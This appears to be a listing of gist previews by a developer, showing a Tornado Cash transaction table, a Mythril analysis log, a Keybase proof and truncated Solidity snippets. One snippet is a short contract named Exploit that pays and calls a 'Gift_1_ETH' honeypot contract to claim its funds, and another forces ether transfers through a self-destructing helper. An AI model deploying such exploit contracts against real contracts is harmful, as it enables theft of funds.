pertsev

Instance name	Update transaction
eth-01.tornadocash.eth	0xf533f7b79aa8716c26..a951bbe45a09d402020b55
eth-1.tornadocash.eth	0x85fac3f923ee656e7a..72d6edfd9ea5add353240e
eth-10.tornadocash.eth	0x49add8aba626ee99fd..738ff3b4d862d2dbdf7ede
eth-100.tornadocash.eth	[0x8f6b6c0eeb0d539f4e..aedba1b70bd6ba5a7b95a0](https://etherscan.io/tx/0x8f6b6c0eeb0d539f4e33aedb018e39d6fbdc5c24

pertsev

docker run mythril/myth -v4 analyze -l -a 0xFD6C31bb6F05Fc8dB64F4b740Ab758605c271FD8
mythril.mythril.mythril_config [INFO]: Creating mythril data directory 
mythril.mythril.mythril_config [INFO]: No config file found. Creating default: /root/.mythril/config.ini 
mythril.mythril.mythril_config [INFO]: Using RPC settings: ('mainnet.infura.io', 443, True) 
mythril.support.signatures [INFO]: Using signature database at /root/.mythril/signatures.db
mythril.analysis.security [INFO]: Found 0 detection modules
mythril.laser.ethereum.svm [INFO]: LASER EVM initialized with dynamic loader: <mythril.support.loader.DynLoader object at 0x7feead59bcf8>
mythril.laser.ethereum.strategy.extensions.bounded_loops [INFO]: Loaded search strategy extension: Loop bounds (limit = 3)
mythril.laser.ethereum.plugins.plugin_loader [INFO]: Loading plugin: <mythril.laser.ethereum.plugins.implementations.mutation_pruner.MutationPruner object at 0x7feead5bf908>
mythril.laser.ethereum.plugins.plugin_loader [INFO]: Loading plugin: <mythril.las

pertsev

Keybase proof

I hereby claim:

• I am pertsev on github.
• I am alexey_pertsev (https://keybase.io/alexey_pertsev) on keybase.
• I have a public key whose fingerprint is 4686 CD0E C718 0B0B 894C 4BFC 5610 EB8C DF42 0BFA

To claim this, I am signing this object:

pertsev

pragma solidity ^0.5.0;

import "github.com/OpenZeppelin/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import "github.com/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";

interface IValidatorSet {
    function isValidator(address candidate) external view returns(bool);
}

contract BasePool {

pertsev

contract Sender {
    
    function contractFallbackHack(address _to, uint value, bytes _data)
        private
        returns(bool)
    {
        return _to.call(abi.encodeWithSignature("onTokenTransfer(address,uint256,bytes)",  msg.sender, value, _data));
    }
    
    function transferAndCallHack(address _to, uint value, bytes _data)

pertsev

contract Sender {
    
    constructor() payable { }
    
    function onExecuteTransfer(address _recipient, uint256 _value) public returns(bool) {
        if (!_recipient.send(_value)) {
            Sacrifice sheep = (new Sacrifice).value(_value)(_recipient);
        }
        return true;
    }

pertsev

contract Exploit {
    function Exploit(Gift_1_ETH _target) public payable {
        _target.SetPass.value(1 ether)("\xc3\x03\x12\x06\xeb\x04\x20\x5d\xf8\x6d\x32\x84\x68\xd9\xb0\x95\x59\x69\x92\x90\xb6\x42\x6a\xba\xd0\x4b\xb0\xda\x91\x77\xe4\xba");
        _target.GetGift("\x66\x72\x6f\x6e\x74\x2d\x72\x75\x6e\x6e\x69\x6e\x67\x20\x68\x6f\x6e\x65\x79\x70\x6f\x74\x20\x66\x61\x69\x6c");
        selfdestruct(msg.sender);
    }
    
    function() payable {}
}

pertsev

0xa652592bb1effad32fd04e12eeeab5eebc58eda5

pertsev

0xa652592bb1effad32fd04e12eeeab5eebc58eda5